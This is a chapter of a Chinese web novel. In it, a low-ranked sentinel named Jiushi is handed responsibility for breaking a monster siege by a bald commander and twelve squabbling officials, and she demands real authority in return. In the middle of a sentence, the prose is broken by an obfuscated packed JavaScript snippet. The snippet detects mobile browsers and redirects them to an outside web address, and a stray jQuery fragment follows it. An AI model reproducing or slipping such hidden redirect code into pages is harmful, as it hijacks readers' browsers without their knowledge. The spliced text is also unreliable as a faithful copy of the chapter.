50. 摆脱责任

作品:《总有向导想要治愈我

    异种并没有退散,它们围聚在防护网之外,攒动、嘶吼、试探,似乎准备寻找时机再次突破。


    密不透风的防护网暂时保障了白塔的安全,却也带来了新的麻烦。


    防护网的维系需要消耗大量能源,净化台昼夜不分地工作,产出的能源全部流向了这道庞大的保护墙。


    地下城彻底停电了。


    一切虚拟的自然之物随着能源熄灭了,人造太阳不再发光,蓝色的天幕不复存在,这里似乎变成了原始人的山洞。


    更糟糕的是,氧气的供给也停了。


    最多两天,地下城的平民就要被迫离开庇护所,走上陆地,同白塔战士们一同面临未知的危险。


    棘手的局面让指挥官的会议室炸开了锅。


    轰隆轰隆。


    古老的柴油发电机兢兢业业地工作着,勉强点亮了会议室。


    十二名衣着体面的高官围坐在方形长桌边上,中间是被火烧掉头发的指挥官。放眼望去,全是一样的黑制服,唯一可以拿来区分的,只有各自胸前那些沉甸甸的勋章。


    他们不约而同地挺着宽厚的胸膛,就像昂扬的大公鸡展示自己的羽毛那样,都觉得自己是这里面最牛逼哄哄的那一个。


    尤其是在一个F级的劣等哨兵面前,高官们的优越感越发膨胀。


    “现在我们被包围了,联邦城区的粮食送不进来,粮仓仅储备了一个星期的应急粮,如果不想办法解决,咱们这.......”一口气讲得太长,勤务官白眼差点翻过去,赶紧拿起手边的氧气罐吸了一口,“咱们这几十万人就得要活活饿死!”


    得了勤务官的教训,技术官讲话前就吸了一大口氧气:“现在防护网的能源供应勉强跟得上,但再这么被包围下去,能源开采无法进行,供应链迟早就要断掉,那到时候咱们都得要完蛋!”


    “还有,地下城的停电引起了居民的恐慌,集宿区时不时就有人在搞起义......”


    “......”


    酒时被固定在指挥官身边的小板凳上,坐如针毡地听完了每个人的汇报。


    坐在权力中心的指挥官剃了个光头,脑门锃光瓦亮,泛着金属的冷光,冷不丁地往她这儿瞟。


    “你听到了吗?”


    酒时不敢看他,生怕忍不住嘲笑他,只能低头,死死地按着屁股底下的塑料板凳:“听到了。”


    “那你倒是想办法解决啊。”


    “?”她“唰”地抬头,怀疑自己耳朵被异种污染了。


    堂堂英明神武的指挥官大人,居然把攸关白塔命运的问题抛给她这个小哨兵,她的肩膀连三袋大米都扛不住,还要扛起整整三十万条性命,他怎么敢的?


    那十二个高官也坐不住了,这可是他们献计献策的好时机,哪儿能让一个初出茅庐的预备役抢了去。


    再说,一个低等哨兵懂个屁!


    十二道杀人般的视线前赴后继,纷纷射向酒时,让她紧张地加快了摆动板凳腿的频率。


    凳腿戳在地面上,连续不断地发出令人心慌的“咚咚”声。


    酒时把它当成了自己心跳声:“指挥官大人,我这见识短浅,缺乏大局视角,而且对着白塔也是一知半解......”屁股下的板凳腿一翘一翘,在地面上发出有节律的“咚咚咚”,填补了酒时思考的空档。


    她的大脑正在飞速运转,试图寻找一个绝佳的借口。


    “各位大人久经沙场,经验丰富,要是集思广益定能想出绝妙的办法来,哈哈哈。”拍马屁的话总没有人不爱听。


    酒时短暂地讨好了所有人,也打开了大家的话匣子。


    “依我看,现在咱们被包围了,只能向联邦请求支援了。”


    “联邦城区只剩下一群护卫军,所有的战力都聚在白塔,请求支援有什么用!依我看,不如直接派出一支飞行队,趁异种不备,穿过防护网进行轰炸。”


    “这样风险太大了!防护网之外的异种数量成谜,一旦激怒了它们,后果不堪设想啊!”


    “......”


    唧唧歪歪,七嘴八舌,十二个人就这么水灵灵地拍桌对吵,一个个吵得面红脖子粗,还不忘抽空优雅地吸氧。


    谁都觉得自己的提议天下无敌,谁也不认可别人的提议,毕竟要是点头同意了,那可是亲手将人推向功勋的康庄大道。


    这比自己的提议被毙还难受!


    会议室气氛越发热烈,眼看着即将迈向焦灼炙烤。


    光头指挥官终于敲桌了,他体格强健,沙包大的拳头敲得比谁都大声,一时间,所有人都缩回了拍桌的手,训练有素地集体噤声。


    只有酒时的板凳腿还不识相地“咚咚咚”。


    慢慢地,危险的氛围感染到酒时,她逐渐停摆,老实地将手放回膝盖。


    指挥官大人闭上眼,微微仰头露出清晰的喉结,自认为动作性|感地吸了口氧。


    酒时不敢说,配上他的光头,真的很像监狱里逃出来军火贩子,嗑药的那种。


    她低头,死忍住弯起的嘴角,不过下一秒,她不用忍了。


    因为她彻底笑不出来。


    指挥官一副事不关己高高挂起的模样:“要我说,防护网的主意谁出的,就找谁负责。”


    这个主意可不就是酒时出的吗。


    看着指挥官大人那颗发光的幽默脑袋,酒时一下子失去了快乐的能力。


    “Oh!尊敬的指挥官大人,我觉得此事还有商量的余地。”她看着事情的走向不太对劲,一点一点地开始慌了:“我,我真的靠不住啊。”


    指挥官并未理会:“有谁同意,有谁反对?”


    十二位高官面面相觑,也不知道眼睛里写着什么东西,突然默契十足地举起同意的手。


    一致通过。


    酒时:“?”


    只要功勋不流入他们十二个之中的任何一个,那就相当于不进不退,很稳妥嘛!


    “很好,散会。”


    指挥官居高临下,光头脑袋边缘一圈都在发光:“给你八个小时,想到办法驱逐这些异种,或者想办法突围。”


    “要是想不到呢。”她嘴巴开开合合,靠着本能说话。


    “想不到办法?”酒时的下巴被强硬地挑起,指挥官笑容渐盛:“所有的后果你刚才也听到了,不过就是包括你在内的所有人没命而已。”


    哗啦。


    生命的重量一下子全压在酒时肩上,她有些喘不过气来。


    该死的光头!


    居然把自己的责任全部推卸给她!明明他才是指挥官!


    “这不公平!”她从塑料板凳上跳起来,发泄般地吼了出来。


    啪嗒。


    会议室的灯全部熄灭。


    黑暗席卷而上,吞没了酒时孤零零的身影,唯有那一双倔强的双眸的依旧明亮。


    她想活命,也已经做好了再次


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15308702|161926||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    前往战区的准备。但现在的她很生气,因为她忽然发现,白塔的这群精英高官根本没有意识到他们的职位牵连了多少条性命。


    他们甚至将肩上的责任当成累赘,像丢皮球一样甩来甩去,恨不得早日摆脱。在权力的的渲染之下,那些身居高位的人似乎找到了一条必胜的法则:


    他们可以因为无作为导致任命丧生,却不能因为有作为导致性命丧生。


    这样,错的就永远不是自己。


    酒时作为被摆脱的性命之一,只能开口怒骂:“混蛋!”


    但她仍心有不甘,一拍大腿,追出了会议室。


    走廊阴暗无比,密集的脚步声回荡着远去,那群决定白塔命运的人还未走远。


    酒时打开手电,强烈的冷光一下子照射出去,圈住了那群高贵优雅的精英之辈。


    笔直的走廊,冷光单调刺眼。


    那道单薄身影捧着一束光,犹如一支离弦的利箭,义无反顾地冲入那堵黑色制服组成的人墙。


    酒时一路将人往墙上推,直到手电的光照在那颗发亮的脑袋上,身后此起彼伏的咒骂声才慢慢停下。


    他迟迟不转身,等着酒时自己找上去。


    但她偏不,对着那光秃秃的后脑勺:“指挥官大人,我刚才思考了一下,我觉得您的要求十分不合理,我完全可以拒绝您。”


    “你敢?”最后,指挥官不得不转身怒视,“你不要你的命,你连那三十万人的命都不要了?”


    责任推卸得倒是一干二净。


    酒时嘴角勾起讽刺的弧度,将手电直直地照射进他的眼眸,看到他闪躲,她依旧不挪开,还假装不小心地晃了晃手臂,刺得他恨不得原地遁逃。


    “酒时!”他情绪起来,呼吸开始急促,身边的人见势不对,赶紧将氧气罐罩在他嘴上。


    “指挥官大人!深呼吸!吸——吐!”那人自认为送氧及时,一脸求夸:“您好点没?”


    指挥官这下真有点缺氧了。


    他扒着那人的手,猛猛地吸了一口,然后一把将人推进墙里,继续威胁酒时:“这是命令,容不得你拒绝!”


    “指挥官大人,您先听我说。”酒时慢悠悠地解释:“我现在是白塔最低等的哨兵,连正式编都算不上,可偏偏您又把这么艰巨的任务交给我,能不能服众另说,毕竟各位可以将今日之事隐瞒,等到事成之后把功劳写在您的功勋簿上,也未为不可,但......”


    她在最关键的时候故作疑虑,果真吊起了指挥官的胃口。


    他连生气都暂时搁置一旁,追着问后续。


    酒时面上不露:“但若要破解眼前的局势,我需要了解几个方面的情况,包括能源生产情况、战力分布情况,甚至还包括地下城收容的居民情况,这些信息实属重要,我一个小小的预备役恐怕是没有权限了解这些。”


    说着说着,她垂下脑袋,苦苦一笑,“要不是我清楚您肯定是一心为联邦,我都要怀疑您是刻意为难我,其实根本毫无破局的打算。”


    她的装模作样毫无破绽,立马有高官摆手:“此话不兴说,此话不兴说。”


    指挥官危险地眯起眼:“你想怎么样?”


    铺垫完毕,酒时一字一句,锋芒毕露:“我要您,放权给我。”


    既然把不想承担的责任丢给了她,那就把权力一并打包送给她吧。


    “呵。”


    他在嘲笑她毫不掩饰的野心。